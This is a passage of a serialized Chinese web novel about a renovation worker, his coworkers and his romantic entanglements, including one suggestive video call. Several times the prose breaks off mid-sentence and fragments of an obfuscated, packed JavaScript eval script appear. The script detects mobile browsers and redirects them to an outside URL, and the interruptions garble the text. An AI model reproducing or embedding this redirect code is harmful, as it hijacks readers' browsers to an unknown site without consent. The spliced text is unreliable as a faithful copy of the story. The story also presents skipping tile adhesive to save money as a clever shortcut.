朝夕相处下来,彼此情绪上细微的波动也在眼里都变得明显起来。 “语棠啊,最近在师俭堂学得还顺利吗?” “顺利的,陆哥。再过几天就结束了。” “那就好。毕业之后打打游戏放松放松挺好,就是别乱看网络小说啊,我有个朋友......” 他话没说完,果然被冯小军打断了—— “你觉得它不好,那便不好罢。反正我眼睛一闭,就什么都发生了。” 好你个无师自通的心学天才。 张野在不明所以看过来,陆砚笑道:“我无所谓的,反正是你老婆。” 说笑之间,一日又过。 学习终归是**的功夫,陆砚决定先弹会儿吉他散散心,再静下心来看书。 没想到沈语棠也是这么想的。 刚拿着吉他走下楼梯,就看见她起身在门口摆好两张板凳——很明显,一张是他的,另一张是她的。 两把椅子挨得很近,宛如一位忠实的听众精心布置的专场。 十二月的晚上,温度清冽,呵气成雾。 远处田埂轮廓模糊,沉入静谧的蓝灰色中,唯有民宿门口一盏弱小的灯,在渐浓的夜色划出一小圈温柔的光域。 陆砚很自然地在坐下,旁边姑娘的发尾随风不时飘到袖口。 “想听什么?”他侧头问。 灯光照亮了侧脸,沈语棠只是弯着嘴角,安静裹紧外套将自己缩成乖巧一团,像在等待一场专属于她的冬日音乐会。 六十六章 重要的日子 客房里的腻子墙摸上去凉丝丝的,像刚游完泳、用毛巾擦干之后女人的大腿,又白又光滑。 这个用尽了张野小学全部文采的句子,并没得到预料中热烈的掌声,因为冯小军在底下拽着壁纸另一头,腾不出手。 作为老师傅,他自然踩在高处,将手中米白色的壁纸规规矩矩严合在墙上。 别小看这活儿,从人均贴书皮的年代过来,多少家长连本语文课本都贴不齐整,而贴满一整面墙的‘书皮’,没点真功夫可不行。 胶刷蘸饱壁纸胶,在纸背‘唰唰’地涂抹,像震泽镇的春蚕啃食桑叶一般解压,张野手上力道均匀,胶量控制得恰到好处,既不渗至正面,又粘得极牢。 这就是没喝酒的张师傅,气定神闲手不抖,心静眼准胶不走。 “张哥,其实你不喝酒的时候……还挺靠谱的。” “全上海都知道的事,用得着你说?” 他口气平淡,像准备了一整夜、第二天语文课上当场背诵《咏鹅》一般脱口而出。 干站着的冯小军闲得发慌,继续问:“那你干嘛还天天喝酒?” 张野拿着刷子有条不紊继续动作,眼神专注,一时没有作答。 其实这活他闭着眼都能做好,胶多厚、纸多平,早已是肌肉记忆。只是有些问题太难回答,不如假装认真做事。 过去不是没人问过他‘为什么天天喝酒’。 酒桌上的朋友拿他调侃时,他便傲气地回一句:“酒是甜水,怎么不爱喝?” 老周、老李那样说教式地发问,他就嬉皮笑脸搪塞:“酒是粮**,越喝越年轻。” 若是陆砚...... 他也曾对着自己的贴心好大哥诉苦道,‘我们这代人,希望渺茫’,陆砚明白他的处境,却不多说什么。 有些事,彼此心照不宣。 所以,这世上怎么会有人喜欢喝酒? 这问题就像问‘怎么会有人沉迷游戏’一样天真,提问的人,或许只是无意识地在秀优越。 但冯小军不同。他就是个傻小子,问得直白,眼里没有评判,只有纯粹的不解。 张野朝墙上呵了口气,用刷子最后抹平一道细微的褶皱,低声笑了笑: “小军啊,你不懂。她们都说......我喝了酒,倍儿猛。” ...... 沿民宿门口的小路走上一里地,绕过成片的蔬菜大棚,再沿矮墙拐个弯,便到了另一处忙碌的场所。 “使那么大劲做啥?别攥得死紧,跟握鸟似的,松一点,才更好控力......哎!别**躁!刻坏了砂纸还能救,这阴刻得要浅......” 自从多了几个年轻学徒,这里便不复往日的清净。 王师傅起初仍是那副笑眯眯的模样,耐心讲解,让他们从杂活做起。 这些小伙子也并非全无经验,可一旦真刀**上手,老师傅的要求就格外严苛起来——尤其对那个叫‘六子’的年轻人。 据说他家父亲常年卧床,全凭母亲起早贪黑的养蚕缫丝撑起一家。 用王师傅的话说,‘手艺学好了,自己能立得住,也算改变一家人的命运’。 陆砚在这买了枫木料,从昨天起就开始刨料,木头渐渐变成光洁平整的桌面后,便着手开榫卯。 他先用墨斗在桌腿顶端弹出一条清晰的线,定好榫头尺寸,随后执凿开凿。 这一步专不专业,只看落下的木屑——得是薄薄的一片片,而不能碎成渣屑。 大凿粗开形,小凿精修整,卯眼内壁需刮得光滑平整...... 做到六成,他抬头喊了一声:“王师傅,劳驾搭把手!” 王师傅应声而来。 虽是六旬老人,可常年做木匠的六旬老人不能以常人积弱度之。 他只扫一眼,便领会了陆砚的意图,将桌腿的榫头对准桌面的卯眼,抬手轻巧一敲—— ‘咔嗒’一声,就是对之前所有工序的合格检验,严丝合缝拼好桌腿,全程无需多言。 当然,或许还有一个原因: 上次关于‘乡村振兴’的一席话,像盆冷水,让原本健谈的老师傅变得沉默了不少。 陆砚活动了一下发酸的手腕,短暂重拾木工活让他心生怀念,可终究不再是当年,不一会儿,他的心思就飘向一件更重要的事上…… ......35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302811|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>不算安静的晚上,冯小军在旁边的床上玩手游,指尖飞快,游戏音效漏出。 今天是个重要的日子,陆砚准备给杨灵发一封邮件。 事实上,工作邮箱每天都会涌入大量来自四面八方的邮件,因此他告诉自己,这不算冒昧,更不算骚扰。 他敲着字句,因为没有电脑,所以字句缓慢,因为字句缓慢,所以思绪悠长、勾连着真心。 ...... 顾南乔加完班走出办公楼时,城市的霓虹一如很久之前那样绚丽,路边一对女孩手挽手从身边走过,她深深怀念,杨灵接她下班的日子。 略显疲惫地揉了揉眉心,精心描画过的眼妆在夜色中依然清晰。 今天是个重要的日子,她一边走向网约车停靠点,一边拿起手机,熟练地找到那个熟悉的对话框,语气轻快得像在聊今天晚餐吃什么: “宝贝,今天是你连续一个月没有理我的大日子。为了庆祝这十年来头一遭,我给你买了礼物哦~Melanie过两天就会收到,到时候记得拍照给我看呀!” 发完,她拉开车门坐进后座,报完手机尾号,突然瞥见屏幕上方闪现‘对方正在输入...’的字样——眼睛不由眨了眨,这是之前没有的线索。 可几秒后,提示消失了,消息却未传来。 她并不气馁,继续对着话筒说,声音里带着恰到好处的委屈和理直气壮: “不是吧宝贝?你真要为了一个男人这辈子都不跟我说话啦?灵灵,这没什么大不了的。你要知道,在这个世界上,我最爱的人始终是你。就算你不小心犯错了,我也一定会原谅你的。” 没在意司机从后视镜投来的打量目光,她等了会,大概车辆驶过一条街的时间,继续言辞诚恳道: “如果你不回这条消息,我就默认你是想我了,等我这阵子忙完,立马飞美国见你。” 那个‘对方正在输入...’的提示再次一闪而过,却依旧没有消息传来。 顾南乔却笑了,将手机收进包里,心情忽然明朗起来。 她已经读懂了对方的沉默—— 那是在说:好,我等你来。 第六十七章 过去和现在 陆砚从未真正找过工作,但清晰地记得大学时,室友将精心准备的简历印在一元钱一张的铜版纸上、一份份投递出去时的心情—— 那种悬而未决的焦灼,与此时、以及接下来几天的他,如出一辙。 然而有些时候,忐忑也并非坏事。 就像那些原本被招聘系统卡死、却突然收到通知‘可临时接收简历’的人,仅仅是多了个投递的机会,就足以让整片天空显得晴朗几分。 难怪爱因斯坦晚年会转向神学,人有时候,确实需要一点虚无缥缈的寄托。 于是此刻的他,就连帮忙打一张枫木椅子,都格外卖力—— 一边想着‘好马配好鞍’,一边毫不放松每一个细节,仿佛只要认真做好眼前的事,遥远的未来就一定会传来好消息。 “陆师傅,你的手艺真不赖。” 旁边是个穿灰长袖、黑长裤的年轻人,大冬天的,肩上搭了条白毛巾,皮肤黝黑,一双眼睛格外亮。 这两天就属他被王师傅招呼得最勤,陆砚记得,他叫六子。 “别看我这样,我可学了十年嘞。” 表面像是在摆资历,实则是想悄悄鼓励这个年轻人,可话一出口才恍然惊觉——自己真的已学了十年、入行八年。 回去,差不多就该考一级资质了。 “小子们,看看装修师傅的动作,现在各行各业都不好干,你们要是不认真,往后怕是连装修的活儿都抢不上。” “...” 王师傅仍是那副顽皮腔调,这说明两人已过了生疏试探的阶段,正朝某种说不清的关系迈进—— “陆师傅辛苦嘞,上回送姑娘挂件,这回改送家具了?” 老人背着手、假模假样捶着背踱步过来,陆砚亦装模作样扶腰抹汗,应和道: “上回那个蚕丝挂件人家没瞧上……您还有没有压箱底的好料?我想再试一次。” 其实那挂件根本没送出去,现在他在对方没有明确回绝之前,已虔诚皈依‘努力总会有好结果’教,一心想再为她做点什么。 老人吹开唇边木屑,把一只手搭在六子肩上,语重心长: “现在的姑娘,都喜欢车子、房子,你送块木头,谁给你好脸色......找老婆,还是得找踏实点的、不嫌弃你的。” 现在风气好像是这样没错,踏实的姑娘...... 忽然想起和杨灵在一起那会,对方连每天下班都要接自己一起,恨不得两人锁死在家......这算踏实吗? 一旁的六子眼神暗了下去,整个人染了寒疾似的佝偻。 这神情叫他看见曾经的张野。 那次还没喝多,拉着他嘟囔说自己像是‘这个时代最次的耗材’。 一瞬间可以感触很多,那天云南小伙喝了不少,说到结婚困境、人生困境。 其实这样悲观是不对的,一件事只盯着困难想,越想就越糟—— 大抵人生就像白纸,上面落了一点墨,眼睛就盯着黑点挪不开了。 他索性开玩笑带过话题: “王师傅,您这儿小伙一堆,镇上村里踏实的好姑娘,可得帮着牵牵线啊。” 老人快活地说:“现在年轻人都往上海跑,男的女的都不踏实。” 这反应有些奇怪,奇怪到他也被传染了。 对方明明在笑,可为什么......自己听出了一点落寞? ...... 多数事情都有操作空间,尤其无人盯着的场合,那份动手脚的念头便压不住地膨胀。 从王师傅那儿回来,离午饭还有一阵,陆砚索性挽起袖子跟师徒二人贴起瓷砖。 “陆哥,瓷砖背胶不够了。” “洗手间都贴完了吗?” 冯小军看向张野,张野想了想,说: “贴完了。” 听到这里,他果断说:“那就别刷胶了,直接用水泥浆贴砖。” 这便是‘操作空间’。 装修过程中,瓷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302812|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砖背胶这东西,做了锦上添花,不做短期也出不了事。 陆砚选个省钱省力的做法,一平米抠十块,整个工序省下一两千不是问题...... 老李传下来的经验,果然好用。 想到这,陆砚停下手,对正拿着瓦刀抹水泥的两人说:“美缝也可以省了。” “哦,行。” 张野答应得痛快,冯小军却愣了愣,恍然看见两个月前,陆砚在面对彩绘雀替时坚决修复的果决。 ……但也合理吧,反正只是普通装修。 楼梯轻响,是不紧不慢的脚步。 穿一件淡绿色棉麻马甲的沈语棠出现门口,眉眼弯弯,提着水壶、杯子: “陆哥,张哥,喝点水吗?” 灰扑扑的水泥房间里突然走进一个干净姑娘,他们都停下手,笑迎上前。 杵在门口的陆砚兴高采烈道: “小姑娘放学回来啦?这岂不是又到饭点了。” 说着两人意会的梗,沈语棠眼神轻轻点过他,没接话,安静把水递给众人后也并没有离开。 就像小时候最腼腆的女孩想一起玩耍那样,尽管保持沉默,却始终待在身边。 陆砚见状,便用对方恰好听见的声音接着逗她: “啧啧,这身衣服不会是照着奇迹暖暖做的吧,我现在怀疑你学缂丝就是因为网瘾导致的。” 本以为会是平湖因风皱面的细小辩驳,却不料是幽兰乍破寂香声的破格回应,小姑娘摇晃脑袋、用食指戳了戳,像猫一样轻。 冯小军喝了口水又回到墙角,刚准备把最后一块砖贴上去的时候发现站门口的沈语棠身子微微发颤—— 大约是在憋笑,头也越垂越低,几乎要碰到陆砚手臂。 光照在窗前斜斜扫过两人的脸颊,一对璧人,不沾尘埃,美好得像另一个世界。 他看着,也忍不住弯了嘴角...... 一回头,发现张野也在往门口望,面上显得很沉静。 第六十八章 谈情技巧 “沈老师,你快出师了,咱们今天就到这吧。” “陆哥,”眉梢被夸的喜悦还没消散,她顺势问道:“今天弹不弹吉他?” 陆砚从那双干净的眼眸看到了情愫。 这眼神他不陌生,就像大学时、还没放班长第二次鸽子之前、对方看自己的眼神。 刚到民宿的时候也许会故意撩拨她,却绝不该是交情渐深的现在...... 该刹车了。 “改天吧。” 说完,忽略小姑娘暗淡的眸子往外走,低矮建筑、空旷田野,冷寂清透夜空能见到银河的轮廓。 他给顾南乔发了条消息,至少名义上,对方是自己在群聊当中的法务,日常沟通很重要,不是吗? 此时苏棠照常打来视频。 “杨老师回消息没?” 就像‘半夜一起翻墙去网吧,第二天悄摸声地问,昨晚老师发现没’,就连当中‘不想被抓到又渴望老师抓到’的细微期翼都那般相似。 有十二个小时时差呢,所以这丫头是来看自己笑话的吧! 陆砚把话题引向别处:“你最近在做什么?考公、论文怎么样?” “哎!”说到这她突然老头叹气,扯了扯肩上的背包,“陆砚你看,我才准备回去呢,学习真是累**,尤其是图书馆还有恶臭情侣一块学的......” 果然,当人们误以为你很关心她的时候,便会滔滔不绝。 有趣的是,一旦对方滔滔不绝,你还真就顺带‘关心’了她。 苏棠说了会,突然话题一转:“陆砚,弹吉你练了没有?弹他给我听。” 好好好,从被恶臭情侣折磨以后就来折磨快三十岁的他? “我也在外面你,改天吧。” “那唱首歌。” 陆砚踩断一根枯枝,有点好笑抱怨道:“真是个颐指气使、没边界感的后辈,你说什么我都得照做啊?” 日常沟通和做饭是何其相似,不管聊什么、做什么菜,都需要点火升温、倒调料、缓慢加热。 此时,各种情绪便是调料,但只要你语气友好,温度就不会失控,菜就不会做坏。 苏棠鼓起腮帮子恶狠狠地说:“刚发给你邮箱就翻脸不认人了,好,你等着,我有的是手段让你就范!” 说实话,尽管对方使用的语言系统和他截然不同,这不妨碍被女孩萌到。 于是在双方拉扯、放狠话中,陆砚顺坡下驴,按生气方的要求唱了首情歌: “手牵手一步两步三步四步望着天/看星星一颗两三颗四颗连成线/背对背默默许下心愿/看远方的星是否听得见......” 喜剧演员年长之后无法再扮丑,陆砚唱太青春的歌总会被歌词刺挠那么一下,正巧一声动静解救了他——顾南乔的消息弹出屏幕上方。 ‘刚下班,现在有空’。 读着这段话,后半句看似废话,实则是邀约吧。 陆砚当即挂断,拨给顾南乔。 糟了,忘记编个理由搪塞苏棠了! “乔乔,上班至于这么美的上吗?” 车内光线暗,窗外流光恰好勾勒她半张侧脸。 少有女人能把冷冽与明艳融得这般自然,淡蓝西装衬出清瘦肩线,妆容精致,眉眼自带三分英气......像夜里盛放的玫瑰。 “早干嘛去了,现在乖话没用,我不是富婆了。” 有时候人自我调侃可以显得乐观,却让走在田埂上的人心头微沉。 冷风拂过,陆砚呵出一口白气: “换种活法,未必不是为将来铺路嘛。” 顾南乔乐了,凑近,近得嘴唇娇艳欲滴:“打工只能温饱,就算去你那再打一份工,也回不到从前啊。“ 他不敢说‘我成功了给你钱’——那样一切就变了味,只能变着法地‘给钱’。 踩过一截枯枝,发出细微脆响,说着: “顾姐,未来的事谁说得准呢?万一我成功了,你掌握我什么把柄,说不定还能拆走一笔原始资金。” “原始资本里面流着你的血,我得多残忍呀!” 她言语温暖,笑得动人,男人心头一跳,险些脱口而出‘我愿意’。 “不过要是你的小公司让我参一手当合伙人,我还是挺有兴趣的。“ 陆砚一愣,脚步放慢。 “老板,你真要我给你打工呀?人家落魄了也是有自尊心的。” “不一样的,我哪敢对你吆五喝六。” “那在你心里我确实不算员工呀……再说,我爸爸是做......之前是做建材生意的。我进场对你、对你师父只有好处......我觉得他能接受。“ 若她所言不虚,那么‘他能接受’的潜台词其实是——‘他能接受,你能吗’。 陆砚当然愿意,却又抗拒这过于亲密的绑定,犹豫间,她突然说: “我到了。“ 这才注意到电话那头传来的停车声——是出租车。 出租车没有什么稀奇的,可他的脑子里一直回放着这个既定事实——是出租车。 “要进家了,还接着视频吗?“ 回神,他压低声音调侃:“怎么......家里有人?“ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307987|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“坏了,你怎么知道我男朋友在家?” 陆砚愣了,就像网断了一样。 镜头转而正对密码锁,她开始缓慢输入密码,手指就像蛇在发起进攻时缓慢的动作,画面传来轻笑: “骗你的,主要是家里没收拾,太乱了。” 陆砚此刻哪在意这些,只道:“乱是你的自由,该干嘛干嘛,就当我不在。” 耳边之余‘啧啧’两声,仿佛无声地说: 这借口可真拙劣。 开门,镜头随她移动,扫过约三十平的客厅,确实有些凌乱。 一件黑色内衣随意搭在沙发扶手上,陆砚默默记下款式,面上一本正经:“乔乔,你真乃女中豪杰。” 她顺手将内衣收走,“我不信你一个人住就不乱。” 像突然擦亮的火星,‘独居’两个字落进耳朵格外清晰。 紧接着是窸窣的声音,陆砚猜测她可能在脱衣服准备去洗澡,但镜头仍对着天花板,什么也看不见,他便装作不知。 两人有一搭没一搭聊着,衣物摩擦的细碎声响掺进田野风里,微弱,却分明落进男人心里,发烫。 那边忽然安静,片刻,声音才又传来:“我洗澡去啦。” “好,那我挂了?” “为什么要问?难道你想看?” 陆砚心里回:那你为什么也要问?难道真想给? 出口的却是:“礼貌,这叫绅士风度。” “跟一丝不挂的女人视频,确实绅士。” 的女人声音像裹了蜜的蛛丝,黏上耳膜就不肯掉。 他无声地咽了下口水,生怕对面听到。 “要给你确认一眼吗?” “不用。” 答得干脆,手指悬在挂断键上,像被什么支住了,死活按不下去。 镜头忽然一晃,他呼吸顿住,眼睛紧紧锁住屏幕,生怕漏掉一帧。 先是花洒出水的声音,浴室瓷砖干净得发亮——白得像今天在震泽镇民宿刚贴好的墙。 水声淅沥中,声音好像在说‘今天我请客’一般大方: “算了,都是朋友......就让你看一眼吧。” “别开玩笑了。” 嗓音发干,推拒早已忘到底,只屏住呼吸死死地看。 画面一定,她翻转镜头——顾南乔明艳的脸和微露的锁骨一下子跳进屏幕。 陆砚此时心跳如鼓,目光急急向下探去,恨不得伸手把画面挪一挪。 镜头!镜头!你往下动一动啊! “你没有闭眼呢......绅、士。” 她轻笑的声音在浴室格外清晰。 第六十九章 盲目的代价 女人真是奇怪的生物。 明明是她自己脱衣服不挂电话,到头来挨骂的反倒是自己。 或许生活这片林子里什么鸟都有,但他陆砚,绝不是那种挨了骂还会暗爽的男人! 第二天醒来,天色灰蒙蒙的,云层压得很低,仿佛随时要坠下来。 可陆砚觉得,外面失掉的晴朗好像全跑到了自己脸上。 他哼着歌,调子正好卡在隔壁两位师傅呼噜声的间隙——连这种小事,都莫名让心情不错。 查看邮箱,略过‘每日问候’,没收到任何回信,就像这个不阴不晴的天气:没消息就是好消息。 七点四十,洗漱完毕。 一边盘算今天能不能把瓷砖全部贴完,一边和同桌吃早餐,悠闲得很。 “语棠,后面就是结业考试了吧?” 用‘结业考试’来形容师俭堂的考核或许并不准确,对面可以理解意思,这就够了。 “是的喏。” 她看起来没什么精神,眉眼耷拉着,像早八课上被抽走灵魂的女大学生,整个人透着股柔软的厌世感。 想到这个文文静静、爱睡懒觉、偶尔偷玩游戏的小姑娘,很快就要通过师俭堂的评定、开始正式给客人讲解缂丝知识,他就有点恍惚—— 沈家有女初长成。 “是不是老板娘做的早餐吃腻了?” 他故意凑近,压低声音,让一句普通的问候听起来像在偷偷说人坏话。 沈语棠抬头,花了点时间处理这个信息,随后眼睛微微睁大,嘴角藏不住笑,却摇了摇头。 “那......你平时吃得少,是不是早上偷偷去别家铺子买吃的了?” 不知哪句话戳中笑点,她痴痴笑起来,那点将醒未醒的余韵彻底消散。 他逗着对方,自己又何尝不感到快乐? 待在一个月没变动的位置上,突然,好像知道桌椅是为何而打了——一楼摆不下,肯定要放二楼。 尽管最开始两年应该是沈语棠的老师过来讲课,但根据椅子的耐久,迟早轮得到她。 “陆哥。” 她食指指着自己的嘴角——当然不是让自己亲过去——另一只手递来纸巾。 “谢谢......” 一会去王师傅那,还是把桌椅再精细一点吧。 ...... 我叫钟志诚,外号小黑。 我一点也不介意,甚至有点自豪——黑怎么了? 我连心都是黑的,透视眼看了都得说一句正宗。 可谁能想到,这么一颗黑心,居然也有被人‘黑’的一天。 从震泽镇到上海,原本以为是老天爷赏的缘分,结果呢? 是孽缘! 那天我看陆师傅年纪轻轻就想开公司,又一副急着赶火车的模样,善良的我二话没说就把合同给签了。 哪知道,他要办的居然是手续繁琐、一步一卡的大型企业! 按行情,这种情况得再加一千五。 我摩拳擦掌正准备晓之以情、动之以理,群里突然杀出一个法务大哥...... 得,戏还没开场,就被人掐了麦。 小黑我啊,脑子里已经自导自演完一整部‘黑心代理惨遭反杀’的苦情大戏。 这还没完,回公司一查资料,我盯着资质要求表上那项‘2名责任工程师+8名专项技术人员’,心里冷笑: 陆师傅这么年轻,哪凑得齐这么多人? 最后还不是得靠我找人挂证,再让我赚点辛苦费? 结果,不到一天,十个人的资质证明整整齐齐发来了——还全是在文物局核名备案的**湖。 去工商局的路上,我整个人都是懵的。 大哥,您背景这么硬,自己去银行排什么队啊? 老板,您家底这么厚,还差我这一千八百块吗? 黑,真黑啊。有钱人的心,才是真的黑。 以后见着陆师傅,我必须得叫他一声黑子哥。 而他,得管自己叫小白 ...... 苏棠有点没干劲,也没有什么特别的原因,就是突然不想起床、不想看综艺,甚至连最喜欢的学习也不想了—— 对,她向来这样催眠自己。 今天状态格外差。 或许,最多只有那么一点点,跟昨天有关: 她清楚记得,陆砚挂电话前,是突然进来一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307988|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息,之后他就急急忙忙断了线。 连编个借口敷衍她都没有。 这让人怎么乐观得起来?再多的自我安慰都显得廉价。 她忽然想起孙逸川。不是想念,只是觉得,他说不定也挺不容易的。 或许改天可以约他喝杯奶茶。 算了,不开心还要硬社交,光想就累。 翻了个身,中午的阳光已经爬上窗帘,心脏咚咚跳着,明明睡了一夜,却像熬到凌晨那样耳鸣眼花。 喝了口水,下床上厕所时寝室空无一人,反倒松了口气。 于是就继续躺着,躺到室友回来、阳光褪尽、月亮上岗,才眯着眼摸过手机—— 时候还没到。 她在等,想看看过了平时通话的点,对面会不会打过来。 很幼稚,很没意义,对吧? 可心跳吵得厉害,她偏要这样。 结果出来之前,什么都提不起劲。 “糖糖,你躺一天了,不舒服吗?” “没,就是困。” 听到这个理由,室友A回忆这三年半的情形,居然坦然放下心了。 十点半,谈恋爱的室友B和考研的室友C都回来了。平时通话一般是十点。 心跳渐渐平复。躺足一天的她才意识到,接下来还有一整晚得睡。 好在也不觉得饿。 就算饿,也不想吃——仿佛那饿的不是自己。 再说了,不过饿一天而已,人家少数民族每年还斋戒呢...... 回想起来,自己性格还真是糟糕。 喜欢她的,转眼就腻;现在报应来了,她喜欢的,也对自己爱答不理。 床帘缝里漏进点白炽灯的光,那点窄窄的亮照着自己窄窄的身子,那么小,那么微不足道。 现在已经是大人了,即使再像小孩那样一天不吃东西,也不好引起任何人的注意。 “叮咚——” 突如其来的关注铃像从天而降的直升机 消息提示音像突然抛下的救援梯,她猛地抓起手机—— “棠棠,你爸爸请客,要不要回来吃个夜宵?” 她望着那几行字,眼泪毫无预兆从心间涌了出来。 第七十章 围炉怪谈 雨天,三人干着活,沈语棠在下面做明天的考核准备,沈秀娥慢悠悠撑伞出去了。 转眼间贴砖工程全部完工,陆砚三人决定休息半天,下楼看见沈语棠,心情不错的缘故三人开启玩笑—— “语棠,这么适合玩游戏的天气,你却在努力,是想悄悄惊艳所有人吗?” 众所周知,雨天在家玩游戏是件极其没有负罪感的事。 “以后沈妹妹只要往门口一坐,生意就滚滚来,不需要那么刻苦。” 有些平时难以启齿的事情大家都做了,那么轮到自己的时候也便不难以启齿了。 冯小军跟在前面俩人后面,意识到此时是个搭话的好机会,清了清嗓: “沈妹妹即使放我们学生会......也是难得一见的人才。” 沈语棠放下手中的拨子,本就想笑的她强装平静,看向率先引诱自己偷懒的罪魁祸首,说: “那就休息一会吧。” “哎!对咯!” 这感觉,就像带班上的好学生去网吧......也不是什么大奸大恶,还能享受带人堕落的快感。 雨势铺满整个天空,白噪音成了屋内的基底,它不大不小的强调着,此时不会有任何人进来干扰他们的茶话会。 既然茶话会在冬季的民宿,那定然少不了围炉煮茶。 架好炭火,陶壶里丢了茶饼、桂圆、红枣和干桂花,茶的清香、小料的果香混着炭火淡淡焦香一并升腾在安逸的雨声之上,飘满整间屋子。 有的事情只要有人,只要齐心,即使忙、也是开心的。 沈语棠轻车熟路从灶房端出豆沙甜定胜糕,加热以后软乎乎;还有麦芽塌饼,秋冬限定款,麦芽的清香解腻又顶饿。 品茗、听雨难怪为古代雅事,陆砚觉得此时就是坐这发呆都算享受。 张野借着炭火下意识伸手: “已经好久没烤过火了,还有吃有喝的......” 心思敏感的人会此时会骂道:装什么城里人呢,不就烤个火吗? 陆砚却知道,这绝非装腔作势,越是朴素的活动在上海越贵—— 打工人多住在出租屋,张野还是过年也不回家的那种,可不就好久没烤过火了吗? “张哥你听说没,小时候烤火我爷爷说,玩火晚上尿裤子。嘿您猜怎么着?还真就玩一次尿一次。” 晚上声音污染就算了,还要气味污染? 陆砚听了挑眉道:“......你说得那么绝对,我会有点担心今晚的睡眠。” 旁边临时的茶博士有点不专业,此时憨憨笑着,一点都不知道遮掩。 偏偏冯小军也是有点那啥倾向的,女孩子的笑无疑是最鼓舞人心的赏识,随即发出战吼: “别说烤火了,我见过一大哥自助烧烤,吃着吃着裤脚就湿了,碳烤的威力就是如此巨大!” 这小子似乎不清楚一件事——并不是发言越多就越有魅力,有时候还得看发言质量的。 “所以你的意思是,今天......” 面对陆砚欲言又止的刺探,冯小军面露骄傲、仿佛炭火的威力和自己人格魅力正相关: “包的!” “......你晚上打地铺客厅睡去!” “哈哈哈——” 沈语棠揭开陶盖,香气兀地冒出来,盖过了所有想讨论的欲望,一双双眼睛盯着那只陶壶,唾液腺已然做好准备。 然而下一秒,只见沈语棠动作飞快拿起边上的水壶往里倒,后又在众目睽睽下添了足足三秒牛奶。 这煮熟的鸭子又煮一遍,是什么讲究? “怎么了?” “我都饥渴难耐了。” 确实,只闻香气不能过把瘾,香气到后面也会开始折磨人。 面对众疑,沈语棠不紧不慢放下牛奶盒,捋了捋头发: “忘记添水了。” 忘记添水了......什么意思? “你的意思是说......咱们煮茶,没倒水?” 陆砚抛出问句时,张野和冯小军一并和他在空中对视,笑意已然如将漫之水、浮于表面—— 小姑娘耳尖都红了,还在装镇定:“是的。” “哈哈哈哈——” 绝了。 “说那烤火尿裤子.......哈哈哈——,说那玩火尿裤子,我可以作证,小时候就是拿火柴点草垛,当晚也会尿床。” 既然要接着等,那他们索性接着聊。 冯小军说完亲眼所见之后,张野便顶了上来,为‘玩火’的威力进一步背书。 不待众人发问,他强调道: “老辈人说,火是‘阳火’,小孩身子弱,扛不住那股阳气,就容易漏尿......后来在灶王爷面前烧了炷香,就好了。” 眼见话题越来越玄乎,此情此景怎么有种往‘笔仙’的方向发展了? 陆砚戳了戳沈语棠,她还沉浸在刚才的‘羞耻’中、此时乍醒。 “语棠,你小时候有这么回事嘛?” 几人目光再次投过来——俗话说,真理该有普适性,玩火总不能只有男孩子尿床吧? 沈语棠仍是‘淡然’模样,还有样学样的清嗓: “好像真是......这、么回事。” 大概说一半突然意识到‘和一群男人讨论尿床不太雅观’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318944|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,后面便开始磕绊。 不过态度上她也投了肯定票,而陆砚自然不必说,那么...... “等等,你们有科学的解释吗?” 好歹作为985名校毕业生,居然差点被说动了! 坚定的唯物主义者必须坚定,子不语怪力乱神! 几人互相望去,皆摇头。 他接着问:“小军,那个吃烧烤的大哥,你什么时候见到的?” 